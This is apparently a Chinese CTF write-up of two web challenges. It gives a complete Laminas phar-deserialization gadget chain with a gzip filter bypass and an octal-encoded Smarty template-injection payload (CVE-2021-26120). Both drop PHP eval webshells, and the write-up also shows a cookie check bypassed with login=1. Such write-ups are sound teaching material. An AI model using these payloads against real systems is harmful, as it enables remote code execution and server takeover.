WEB
Fan website
根据题目描述,发现这是一个zf框架,网上有很多链子,但是需要一个入口点,在首页没有发现
啥有用的玩意儿。
扫描目录,得到源码,www.zip。
下载审计,发现这是一个mvc框架,个人感觉路由比较恶心。
根据路由进入目录,发现有几个功能点。
直接放图吧。。
分别查看具体方法的代码。在imgdelete方法这里发现unlink。这个函数可以触发反序列化,但是需要上传phar。
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
很不巧的是这里有个上传点。
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
}
}
return ['form' => $form];
}
但是这里有些过滤,绕过去就行了。最离谱的是过滤了php标签,和HALT_COMPILER,这里就没办法传phar进去, 这里get了一个新知识点,把生成的phar文件,用gzip打包,不影响反序列化。
exp:
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["echo PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==|base64 -d >public/img/1.php"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
echo urlencode(serialize($a));
unserialize(serialize($a));
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = $a;
$phar->setMetadata($o);
$phar->addFromString("test.txt", str_repeat("testtesttest",999999));
$phar->stopBuffering();
}
生成好phar之后,用gzip打包,就能传上去了。
在删除这里POST:
imgpath=phar:///var/www/public/img/a7c3ce076585477741d951d179ab07dc.jpg
然后就会写入webshell。然后直接读flag就行了。
Smarty_calculator
首页毛都没有,无奈扫目录,发现www.zip。遂审计。
index.php对cookie有判断,是否存在cookie是否存在login,这里加个cookie:login=1就能绕过。
这里data传进去之后被 Smarty的display方法处理。
因为包含了Smarty/Smarty.class.php。跟进寻找 Smarty->display();这里的Smarty继承了Smarty_Internal_TemplateBase,在Smarty里没有找到display();跟进Smarty_Internal_TemplateBase;类
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
$this->_execute($template, $cache_id, $compile_id, $parent, 1);
}
这里dispaly调用了_execute方法,继续更进_execute。
审到这里似曾相识,原来是smarty存在模板注入,(CVE-2021-26120)
参考链接:https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html
然后可以直接利用,但是这里对输入内容有过滤。
需要绕一下。这里转成八进制数,这种东西还是很好绕的。
payload:
eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\62\\63\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\141\\141\\141\\47\\135\\51\\73\\77\\76\")"}
然后冰蝎连接就ok了。
|